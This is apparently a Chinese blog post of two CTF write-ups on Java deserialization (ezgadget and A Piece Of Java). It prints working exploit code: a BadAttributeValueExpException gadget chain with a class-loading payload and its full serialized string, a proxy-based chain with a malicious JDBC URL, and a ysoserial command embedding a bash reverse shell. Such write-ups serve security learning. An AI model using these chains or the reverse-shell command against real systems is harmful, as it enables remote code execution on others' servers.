从CTF学习JAVA安全

2021东华杯 ezgadget

题目地址

一道关于Java反序列化的CTF题-东华杯ezgadget qe53

题目分析

WEB端有readobject路由,把输入的数据通过工具类解码,包装成ObjectInputStream类型,再调用readObject方法,所以这里可以作为反序列化的入口点

image-20250206135138200

工具类Tools,负责base64编码、解码,序列化、反序列化

image-20250206112934536

工具类ToStringBean,调用了defineClass方法,并且通过newInstance()实例化对象

image-20250206142513497

看到这个我们就能想到:

动态类加载:

  • ToStringBean 继承自 ClassLoader,并且在 toString() 方法中使用 defineClass 动态加载由 ClassByte 指定的字节码。

反序列化触发:

  • 在反序列化过程中会自动调用readObject() 方法。ToStringBean 实现了 Serializable 接口,只要有类的readObject()调用ToStringBean.toString()方法就可以实现代码执行。

解题过程

反序列化入口选择BadAttributeValueExpException,这是CC5的入口,它会触发toString()方法

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.ezgame.ctf;

import com.ezgame.ctf.tools.ToStringBean;
import com.ezgame.ctf.tools.Tools;

import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;



//redobject路由对data有反序列化
//BadAttributeValueExpException.readObject()->ToStringBean.toString()方法
//toStringBean的defineClass+newInstance
public class Exp {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException {
//反射修改ToStringBean.ClassByte为恶意字节码
ToStringBean toStringBean = new ToStringBean();
Field classByteField = toStringBean.getClass().getDeclaredField("ClassByte");
classByteField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("D:\\JAVA\\EzJava\\target\\classes\\com\\ezgame\\ctf\\Payload.class"));
classByteField.set(toStringBean, bytes);

//通过BadAttributeValueExpException包装ToStringBean
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttributeValueExpException, toStringBean);

//这一部分逻辑都是跟着readobject路由的条件写的
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeUTF("gadgets");
objectOutputStream.writeInt(2021);
objectOutputStream.writeObject(badAttributeValueExpException);


byte[] byteArray = byteArrayOutputStream.toByteArray();
String s = Tools.base64Encode(byteArray);
System.out.printf(s);

}
}

Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
package com.ezgame.ctf;

import java.io.IOException;

public class Payload {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

序列化字符串

1
rO0ABXcNAAdnYWRnZXRzAAAH5XNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAGHQAEmNvbS5lemdhbWUuY3RmLkV4cHQACEV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IAIWNvbS5lemdhbWUuY3RmLnRvb2xzLlRvU3RyaW5nQmVhbhPMVFon2dx5AgABWwAJQ2xhc3NCeXRldAACW0J4cHVyAAJbQqzzF/gGCFTgAgAAeHAAAAJ9yv66vgAAADQAJgoACAAXCgAYABkIABoKABgAGwcAHAoABQAdBwAeBwAfAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABhMY29tL2V6Z2FtZS9jdGYvUGF5bG9hZDsBAAg8Y2xpbml0PgEAAWUBABVMamF2YS9pby9JT0V4Y2VwdGlvbjsBAA1TdGFja01hcFRhYmxlBwAcAQAKU291cmNlRmlsZQEADFBheWxvYWQuamF2YQwACQAKBwAgDAAhACIBAARjYWxjDAAjACQBABNqYXZhL2lvL0lPRXhjZXB0aW9uDAAlAAoBABZjb20vZXpnYW1lL2N0Zi9QYXlsb2FkAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBAA9wcmludFN0YWNrVHJhY2UAIQAHAAgAAAAAAAIAAQAJAAoAAQALAAAALwABAAEAAAAFKrcAAbEAAAACAAwAAAAGAAEAAAAFAA0AAAAMAAEAAAAFAA4ADwAAAAgAEAAKAAEACwAAAGEAAgABAAAAErgAAhIDtgAEV6cACEsqtgAGsQABAAAACQAMAAUAAwAMAAAAFgAFAAAACAAJAAsADAAJAA0ACgARAAwADQAAAAwAAQANAAQAEQASAAAAEwAAAAcAAkwHABQEAAEAFQAAAAIAFg==

Burp Ctrl+U 对序列化字符串URL编码

image-20250206200359967

坑点与总结

坑点:传入参数时需要url编码,因为base64编码后存在+号,而http请求会把传参时会将+号识别为空格。base64没有空格符号,所以后端解码会报错。

这题主要考察 反序列化类加载字节码执行,另外组长的视频适合反复观看Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)

[羊城杯 2020]A Piece Of Java

题目地址

A Piece Of Java

题目分析

把题目的jar添加为项目库,idea就会直接反编译了,先关注路由

image-20250218141820791

逻辑还是挺简单的:

  • /index获取参数username、password,将参数赋值给userinfo对象,并将该对象序列化存储到Cookie的data中
  • /hello获得cookie中的data并反序列化,并调用info.getAllInfo(),将返回的数据显示到hello.html中的info参数

嗯?那不直接可以CC链打了么?没那么简单,接着我们看重写的deserialize方法,它其实是有限制的

image-20250218144304130

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<blacklist>

</blacklist>
<whitelist>
<regexp>gdufs\..*</regexp>
<regexp>java\.lang\..*</regexp>
</whitelist>
</config>

可以看到白名单,也就是反序列化的目标收到了限制,只能是白名单中的包下的类才能反序列化

接着调用了Info接口的getAllInfo()方法,实现Info接口的有两个类UserInfo和DatabaseInfo这里UserInfo并没有什么用,我们看DatabaseInfo类,其中有checkAllInfo()方法调用了connect方法,connect()方法使用JDBC连接了数据库,这里就可以考虑JDBC反序列化,也就绕过了上面反序列化的限制。

image-20250219002819532

问题是如何调用checkAllInfo()方法,题目中还给了个InfoInvocationHandler类它实现了InvocationHandler类,并且**invoke()**方法中调用了checkAllInfo()方法。

image-20250218234830492

思路就有了,使用动态代理,根据动态代理的特性,代理对象调用任意方法时就会触发invoke()方法。

调用链

1
反序列化->info.getAllinfo()->(动态代理)InfoInvocationHandler.invoke()->Databaseinfo.checkAllInfo()->Databaseinfo->connect()

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class Exp {
public static void main(String[] args) throws IOException {
DatabaseInfo databaseinfo = new DatabaseInfo();
databaseinfo.setHost("JDBC恶意服务器地址");
databaseinfo.setPort("JDBC恶意服务器端口");
databaseinfo.setUsername("1");
//JDBC-Mysql 8.0.19 payload
databaseinfo.setPassword("1&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");


InfoInvocationHandler infoInvocationHandler = new InfoInvocationHandler(databaseinfo);
Info info=(Info) Proxy.newProxyInstance(databaseinfo.getClass().getClassLoader(),databaseinfo.getClass().getInterfaces(), infoInvocationHandler);

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(info);
objectOutputStream.close();

String str=new String(Base64.getEncoder().encode(byteArrayOutputStream.toByteArray()));
System.out.println(str);

}
}

使用ysoserial生成反弹shell的CC链,JDBC恶意服务器可以看这篇文章小白看得懂的MySQL JDBC 反序列化漏洞分析

1
java -jar ysoserial-all.jar CommonsCollections6 "bash -c {echo,<base64反弹shell>}|{base64,-d}|{bash,-i}" > a

image-20250218172315694

image-20250218172759801

坑点与总结

坑点:做题时,类的包名要和题目jar中的包名一致,不然会导致反序列化找不到类失败。

题目主要考察对动态代理的理解和JDBC反序列化,推荐观看组长对动态代理的讲解Java反序列化漏洞专题-基础篇(21/09/05更新类加载部分)


从CTF学习JAVA安全
https://sp4rks3.github.io/2025/02/07/JAVA安全/漏洞复现/从CTF学习JAVA安全/
作者
Sp4rks3
发布于
2025年2月7日
许可协议